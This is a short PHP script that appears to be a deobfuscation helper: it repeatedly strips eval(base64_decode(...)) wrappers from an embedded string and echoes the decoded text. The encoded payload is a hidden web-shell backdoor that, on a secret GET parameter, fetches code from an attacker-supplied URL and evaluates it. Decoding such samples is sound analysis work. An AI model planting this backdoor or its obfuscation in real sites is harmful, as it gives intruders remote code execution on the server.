<?php
$string = "eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpYUW9KRjlIUlZSYkltTjFiMjVuYTJWdVp5SmRLU2tLZXdvSlpXTm9ieUFpU0dWc2JHOGdRM1Z2Ym1kTFpXNW5JRG9nUEM5aWNqNGdJanNLQ1dsbUtHbHpjMlYwS0NSZlIwVlVXeUpyZFhKc0lsMHBLUW9KQ1hzS0NRa0phV1lvSkY5SFJWUmJJbXQxY213aVhTRTlJaUlwQ2drSkNXVjJZV3dvWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkY5SFJWUmJJbXQxY213aVhTa3BPd29KQ1gwS0NRbGxiSE5sQ2drSlpXTm9ieUFpUEdFZ2FISmxaajFjSWo5amRXOXVaMnRsYm1jbWEzVnliRDFjSWo1dVpYaDBQQzloUGlJN0NnbGxlR2wwS0NrN0NuMD0iKSk7'));";
while( preg_match( "/base64\_decode/", $string ) ){ $string = preg_replace( "/eval\(base64\_decode\(['\"](.*?)['\"]\)\)\;/i", "\\1", $string ); $string = base64_decode( $string );}
echo $string;
?>